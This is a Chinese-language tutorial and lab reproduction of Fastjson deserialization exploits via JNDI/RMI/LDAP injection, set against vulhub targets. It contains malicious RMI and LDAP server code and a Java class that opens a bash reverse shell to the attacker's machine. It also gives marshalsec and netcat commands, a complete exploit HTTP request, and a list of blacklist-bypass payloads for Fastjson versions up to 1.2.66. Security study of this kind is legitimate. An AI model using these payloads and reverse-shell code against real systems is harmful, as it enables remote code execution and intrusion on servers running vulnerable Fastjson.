fastjson漏洞利用学习
FastJson漏洞利用学习
前置知识
了解Fastjson反序列化漏洞我们还需要一些前置知识。好比如什么是JNDI,JNDI注入?
JNDI简介
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI服务可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也就而已用JNDI来定位数据库服务或者以一个远程的java对象。
JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDI是应用程序设计的API,JNDI可以根据名字动态加载数据,支持服务主要有一下几种:
DNS、LDAP、CORBA对象服务、RMI
JNDI结构
Java JDK里提供5个包,实现JNDI的功能,分别是
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
java.name.InitialContext
该类可以用来获取初始目录环境,使用lookup函数检索并获取远程对象
如果说uri可控,那访问的rmi服务端ip就可以改,我们伪造一个rmi服务端,绑定一些奇奇怪怪的类,那客户端就会访问并下载到这些个奇奇怪怪的类,执行类里的方法,然后就等着完蛋。当然这是后话。
下面看一下示例,如何简单写一个绑定rmi服务的客户端
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class test {
public static void main(String[] args) throws NamingException {
String uri = "rmi://192.168.92.150:9999/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
javax.naming.Reference
该类可以实现对外部对象的引用,提供了JNDI中类的引用功能
import javax.naming.Reference;
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
option1:Name :远程加载的类名
option2:Factory:加载类下需要实例化的类的名称
option3:FactoryLocation:url地址
这样就可以通过Reference类,实现对一个外部类对象的绑定
RMI服务端自己可以直接绑定远程对象之外,还可以通过上面这种方法来绑定
示例为http协议就是网站上的类,也可以是file协议、ftp协议
RMI绑定Reference之后,首先调用Referenceable.getReference()
获取绑定对象的引用
当客户端lookup获取对应名字的时候,就会返回ReferenceWrapper
类的代理文件
然后就会调用getReference()
获取Reference
类
最终通过factory
类将Reference
转换为具体的对象实例
就会执行里面的方法
JNDI+RMI(利用JNDI InitialContext和Reference类配合进行注入)
server端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, NamingException, RemoteException {
String url = "http://192.168.92.150:8000";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", url);
ReferenceWrapper referenceWrapper;
referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
client端:
package com.example.springfastjson;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:1099/obj");//该uri的目录视乎server端绑定的字段
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
恶意类:
import java.lang.Runtime;
public class Exploit {
public Exploit (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java
编译成class文件
实现步骤:
1、在服务端开启http服务,示例为8000端口,将恶意类放入该网站作为访问资源
2、然后将server的code放入server端启动,这里不麻烦就在本机的idea启动了
这样我们就伪造好rmi的服务并且将恶意类绑定好,返回 ReferenceWrapper 类,只待客户端来访问获取
3、在客户端启动client端的code,调用lookup,程序自动的加载访问服务端,在decodeObject 中将ReferenceWrapper 变为 Reference 类,然后远程加载并实例化我们的Factory类
最终的结果就是客户端的机子打开了计算器
这样就实现了一次完整的利用
但是,在实践时并不成功
根据报错可以知道com.sun.jndi.rmi.object.trustURLCodebase
的值是false
这是由于版本问题,我的版本刚好是jdk-8u-121
该注入实现的JDK版本要求:RMI < 8u121、LDAP < 8u191
JDK小于8u121的com.sun.jndi.rmi.object.trustURLCodebase
的值会默认是True
,漏洞利用就可以实现,这里为了不麻烦就不去安装一个JDK了
峰回路转
虽然rmi要求的JDK版本在这里不行,但是我们可以试一下LDAP的
因为LDAP服务在JNDI也是支持,并且LDAP绑定Reference远程加载Factory类不会受向上面com.sun.jndi.rmi.object.trustURLCodebase
和com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的影响
JNDI+LDAP
记得现在pom文件加入下面标签,才能用该库里面的ldap功能实现
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
server端:
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.92.150:8000/#Exploit"};//恶意类网址
int port = 9999;//ldap服务监听端口
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Client端:
package com.example.springfastjson;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:9999/obj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
恶意类还是那个恶意类
依次运行网站,server端ldap,client端ldap
在server端看到访问成功
在client端看到计算器已经成功弹出
总结:
既然ldap能实现漏洞利用的jdk版本要比rmi的多,那么以后留个心眼先搞ldap的利用
FastJson简介
fastjson是一个java语言编写的高性能功能完善的json解析库。被广泛应用在缓存序列化、协议交互、web输出、android客户端等多种场景。
fastjson可以解析json格式的字符串,支持将JavaBean序列化为json字符串,也可以将json字符串反序列化为JavaBean。json本身是不能识别数据类型的,而fastjson实现了这样的自省功能,可以将json数据通过调用函数进行反序列化生成一个对象,可以自动去调用类中方的set方法进行赋值。
简单FastJson搭建
fastjson-jar包获取
简单Spring+ Fastjson搭建
New Project
自命名SpringFastJson
选择jdk1.8
java 8
勾选Spring Web
等待部署完成
之后我们创建一个User.class类,
package com.example.springfastjson;
public class User {
private String name;
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
再创建一个controller类
package com.example.springfastjson;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class controller {
@GetMapping("/fastjson")
public String test(){
User user = new User();
user.setName("zhangsan");
user.setAge(18);
String JsonString = JSON.toJSONString(user);
return JsonString;
}
}
大致如下:
可以看到JSON报错
这是因为我们还没加入fastjson的jar包
而spring项目已经自带jar包我们无需自己手动下载添加
还需要做的就是在pom.xml填写加载fastjson_jar包的标签
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.4</version>
</dependency>
保存后在maven控制框点击同步
即可完成加载
随后便可在controller.java实现JSON的导入
import com.alibaba.fastjson.JSON;
接着就可以让程序跑起来了
在本地8080端口访问即可得到的json字符串,就是controller类里的方法返回结果。
Fastjson反序列化漏洞简介
了解了JNDI+rmi和JNDI+ldap两种注入方式
以及spring+fastjson的运作过程
再理解fastjson反序列化漏洞就不难了
漏洞原理(1.2.24)
fastjson 在解析json的过程中,支持使用 autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码相关的方法,即可构造出一些恶意利用链。
漏洞是利用fastjson autoType在处理json对象时,未对@type字段进行可靠的安全性验证,攻击者可以传入危险类,并调用危险类(JdbcRowSetImpl类)连接远程rmi或者ldap主机,通过其中的恶意类执行代码。
认识JdbcRowSetImpl类
通过在调试发现
JdbcRowSetImpl类的setAutoCommit()会调用connect()函数:
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
connect()函数如下
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
可以看到函数中间,正是用到我们前面所认识的 InitialContext类
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
connect()会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。
漏洞利用
所以在FastJson反序列化漏洞过程中,我们将@type设置为com.sun.rowset.JdbcRowSetImpl
类,然后控制dataSourceName
值为伪造rmi或者ldap服务的uri,然后fastjson执行到实例化JdbcRowSetImpl类后自动调用setAutoCommit()方法,然后接下去的流程就是我们前面介绍的JNDI注入。
构造出的json数据
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.92.150:9999/exploit",
"autoCommit":true
}
}
fastjson 1.2.24反序列化任意命令执行漏洞实验
漏洞编号:CVE-2017-18349
影响版本:fastjson < 1.2.25
该漏洞复现使用vulhub提供的靶机 ip:192.168.92.120
攻击机就kali一台 ip:192.168.92.150
靶机跑起来,看到jdk是1.8-102版本
root@cee33f7849a4:/# java -version
openjdk version "1.8.0_102"
OpenJDK Runtime Environment (build 1.8.0_102-8u102-b14.1-1~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.102-b14, mixed mode)
kali机直接写上恶意类,执行内容就直接写反弹shell
┌──(rootkali)-[~/fastjsonrce]
└─# cat exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class exploit{
static {
try{
Runtime rt = Runtime.getRuntime();
String[] commands =
{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.92.150/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e) {
//do nothing
}
}
}
javac直接编译
┌──(rootkali)-[~/fastjsonrce]
└─# javac exploit.java
网站直接开起来
┌──(rootkali)-[~/fastjsonrce]
└─# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
kali机下载marshalsec项目
git clone https://github.com/mbechler/marshalsec.git
安装maven
apt-get install maven
maven编译marshalsec成jar包,先进入下载的marshalsec文件中
mvn clean package -DskipTests
生成的jar包就在target目录下
直接命令启动一个rmi服务(绑定的网址端口,类名不要填错),本机9999端口监听
┌──(rootkali)-[~/fastjsonrce/marshalsec/target]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.92.150:8000/#exploit" 9999
* Opening JRMP listener on 9999
接下来就开始攻击
开启kali机监听
┌──(rootkali)-[~/fastjsonrce]
└─# nc -lvp 1234
listening on [any] 1234 ...
burp发送json数据,@type的值杯我们构造好了一段访问rmi服务的uri
其中注意请求包修改为post类型和json文本类型
POST / HTTP/1.1
Host: 192.168.92.120:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.92.150:9999/exploit",
"autoCommit":true
}
}
可以看到对rmi服务端进行了访问并且加载了类
然后就拿到反弹shell
以上就是该漏洞实验的全过程,操作起来十分简单
那也可以试一下ldap利用
其他操作不变
只需将marshalsec启动成ldap服务就行
┌──(rootkali)-[~/fastjsonrce/marshalsec/target]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.92.150:8000/#exploit" 9999
Listening on 0.0.0.0:9999
将json数据的uri改成ldap协议即可
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.92.150:9999/exploit",
"autoCommit":true
}
}
照样拿shell
fastjson 1.2.47反序列化任意命令执行漏洞实验
简介:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响版本:fastjson < 1.2.47
靶机:vulhub靶机 ip:192.168.92.120
攻击机:kali ip:192.168.92.150
开启靶机,jdk依旧是18.102
root@ubuntu20:~/vulhub/fastjson1.2.47# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e783aa84f9b6 vulhub/fastjson:1.2.45 "java -Dserver.addre…" 2 minutes ago Up 5 seconds 0.0.0.0:8090->8090/tcp, :::8090->8090/tcp fastjson1247_web_1
root@ubuntu20:~/vulhub/fastjson1.2.47# docker exec -it e783aa84f9b6 /bin/bash
root@e783aa84f9b6:/# java -version
openjdk version "1.8.0_102"
OpenJDK Runtime Environment (build 1.8.0_102-8u102-b14.1-1~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.102-b14, mixed mode)
在kali开启恶意类的网站,开启rmi服务
其实一样,只不过paylaod发生了一小变化
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.92.150:9999/exploit",
"autoCommit":true
}
}
开好监听,发送数据,成功拿到shell
其他版本fastjson的漏洞利用
fastjson<=1.2.41
设置autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞。
com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
fastjson<=1.2.42
在2.42的版本新增了校验机制,如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson <= 1.2.45
目标服务端存在mybatis的jar包
版本需为3.0.0.~3.5.0
autoTypeSupport属性为True才能使用(fastjson >= 1.2.25默认为false)
然后使用黑名单绕过,但是org.apache.ibatis.datasource
在1.2.46版本中被加入了黑名单。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
fastjson <= 1.2.47
小于 1.2.48 版本的通杀,autoType为关闭状态也可以。
loadClass中默认cache设置为true。
首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl
这个类,绕过黑名单机制。
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
} }
fastjson <= 1.2.62
黑名单绕过exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
fastjson <= 1.2.66
autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"@type":"java.util.Properties","UserTransacti
on":"ldap://x.x.x.x:1389/Calc"
}}
总结
学到rmi和ldap两种JNDI注入的利用方式,简单的spring+fastjson的搭建
JNDI的注入姿势是fastjson反序列化漏洞利用执行命令的关键
不同版本的jdk会对rmi和ldap的利用产生影响
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码(trustURLCodebase=false)。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载(trustURLCodebase=false)。
fastjson不同版本的黑名单绕过漏洞利用
参考文章:
[Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)](https://www.cnblogs.com/nice0e3/p/13958047.html#:~:text= JNDI注入是Fastjson反序列化漏洞中的攻击手法之一。 JNDI (Java Naming and Directory Interface%2CJava命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口,API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 目录服务是命名服务的一种自然扩展。 JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。)
Fastjson漏洞复现笔记 - FreeBuf网络安全行业门户
渗透测试之地基服务篇:服务攻防之框架Fastjson(上) (qq.com)
渗透测试之地基服务篇:服务攻防之框架Fastjson(下) (qq.com)
(36条消息) Fastjson反序列化讲解_weixin_45597678的博客-CSDN博客_fastjson反序列化